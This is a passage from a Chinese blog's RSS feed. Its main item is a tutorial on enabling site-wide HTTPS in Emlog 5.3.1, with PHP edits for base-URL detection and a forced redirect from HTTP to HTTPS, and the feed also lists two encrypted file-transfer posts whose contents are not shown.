		<img src="https://www.music4x.com/content/uploadfile/201711/4efd1510552284.jpg" title="启用全站SSL访问插件" alt="启用全站SSL访问插件" width="762" height="85" border="0" align="" original="https://www.music4x.com/content/uploadfile/201711/4efd1510552284.jpg" style="border-width:initial;border-style:none;max-width:100%;height:auto;" /> 
	</p>
	<p style="margin-top:0px;margin-bottom:10px;padding:0px;list-style:none;line-height:26px;">
		解决了这一部分，其实已经基本可以使用SSL访问了，但关系多众多模板的问题，这样还是不够的。
	</p>
	<p style="margin-top:0px;margin-bottom:10px;padding:0px;list-style:none;line-height:26px;">
		<strong>二、修改代码</strong> 
	</p>
	<p style="margin-top:0px;margin-bottom:10px;padding:0px;list-style:none;line-height:26px;">
		修改代码前请先备份，这代码来自于其他网站，经过多个博客模板测试可行，版本仅限于5.3.1
	</p>
	<p style="margin-top:0px;margin-bottom:10px;padding:0px;list-style:none;line-height:26px;">
		1、 /include/lib/option.php<br />
请将以下内容粘贴到 get function 的 default 判断分支之前 （在Emlog 5.3.1下是第43行）
	</p>
<pre class="prettyprint lang-php">case 'blogurl':
    return realUrl();
    break;</pre>
	<p style="margin-top:0px;margin-bottom:10px;padding:0px;list-style:none;line-height:26px;">
		<img src="https://www.music4x.com/content/uploadfile/201711/3fb51510562430.jpg" title="代码位置" alt="代码位置" width="530" height="284" border="0" align="" original="https://www.music4x.com/content/uploadfile/201711/3fb51510562430.jpg" style="border-width:initial;border-style:none;max-width:100%;height:auto;" /> 
	</p>
	<p style="margin-top:0px;margin-bottom:10px;padding:0px;list-style:none;line-height:26px;">
		2、 /include/lib/function.base.php
	</p>
请将以下内容粘贴到文件的末尾<br />
<pre class="prettyprint lang-php">/**
 * 获取当前访问的base url
 */
function realUrl() {
    static $real_url = NULL;
    
    if ($real_url !== NULL) {
        return $real_url;
    }
 
    $emlog_path = EMLOG_ROOT . DIRECTORY_SEPARATOR;
    $script_path = pathinfo($_SERVER['SCRIPT_NAME'], PATHINFO_DIRNAME);
    $script_path = str_replace('\\', '/', $script_path);
    $path_element = explode('/', $script_path);
    
    $this_match = '';
    $best_match = '';
    
    $current_deep = 0;
    $max_deep = count($path_element);
    
    while($current_deep &lt; $max_deep) {
        $this_match = $this_match . $path_element[$current_deep] . DIRECTORY_SEPARATOR;
        
        if (substr($emlog_path, strlen($this_match) * (-1)) === $this_match) {
            $best_match = $this_match;
        }
        
        $current_deep++;
    }
    
    $best_match = str_replace(DIRECTORY_SEPARATOR, '/', $best_match);
    $real_url  = $_SERVER['HTTPS'] === 'on' ? 'https://' : 'http://';
    $real_url .= $_SERVER["SERVER_NAME"];
    $real_url .= in_array($_SERVER['SERVER_PORT'], array(80, 443)) ? '' : ':' . $_SERVER['SERVER_PORT'];
    $real_url .= $best_match;
    
    return $real_url;
}</pre>
<pre class="prettyprint lang-php">3、/init.php
请用以下代码覆盖同名的define （在Emlog 5.3.1下是第39行）
<pre class="prettyprint lang-php">define('DYNAMIC_BLOGURL', Option::get("blogurl"));</pre>
<pre class="prettyprint lang-php"></pre>
<img title="修改代码位置" alt="修改代码位置" width="523" height="198" border="0" align="" original="https://www.music4x.com/content/uploadfile/201711/3fb51510562626.jpg" src="https://www.music4x.com/content/uploadfile/201711/3fb51510562626.jpg" style="border-width:initial;border-style:none;max-width:100%;height:auto;display:inline;" /></pre>
<strong>三、如果网站使用http访问就强制转向https</strong>&nbsp;在你的模板下的header.php中增加以下代码 位置如图
<pre class="prettyprint lang-php">    if(!isset($_SERVER['HTTPS'])){
    Header("HTTP/1.1 301 Moved Permanently");
    header('Location: https://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
} <img title="强制使用https访问" alt="强制使用https访问" width="600" height="171" border="0" align="" original="https://www.music4x.com/content/uploadfile/201712/4efd1513245728.jpg" src="https://www.music4x.com/content/uploadfile/201712/4efd1513245728.jpg" style="border-width:initial;border-style:none;max-width:100%;height:auto;display:inline;" /> </pre>
OK，用https访问吧！
</div>
<p>
	<br />
</p>
<span style="font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);"></span>]]></description>
	<pubDate>Sat, 01 Sep 2018 05:50:59 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=2</guid>

</item>
<item>
	<title>用于文件传输</title>
	<link>https://www.zuoer.xin/?post=56</link>
	<description><![CDATA[<p>[该文章已设置加密]</p>]]></description>
	<pubDate>Wed, 24 May 2000 10:02:52 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=56</guid>

</item>
<item>
	<title>文件传输1</title>
	<link>https://www.zuoer.xin/?post=101</link>
	<description><![CDATA[<p>[该文章已设置加密]</p>]]></description>
	<pubDate>Tue, 23 May 2000 12:14:14 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=101</guid>

</item></channel>
</rss>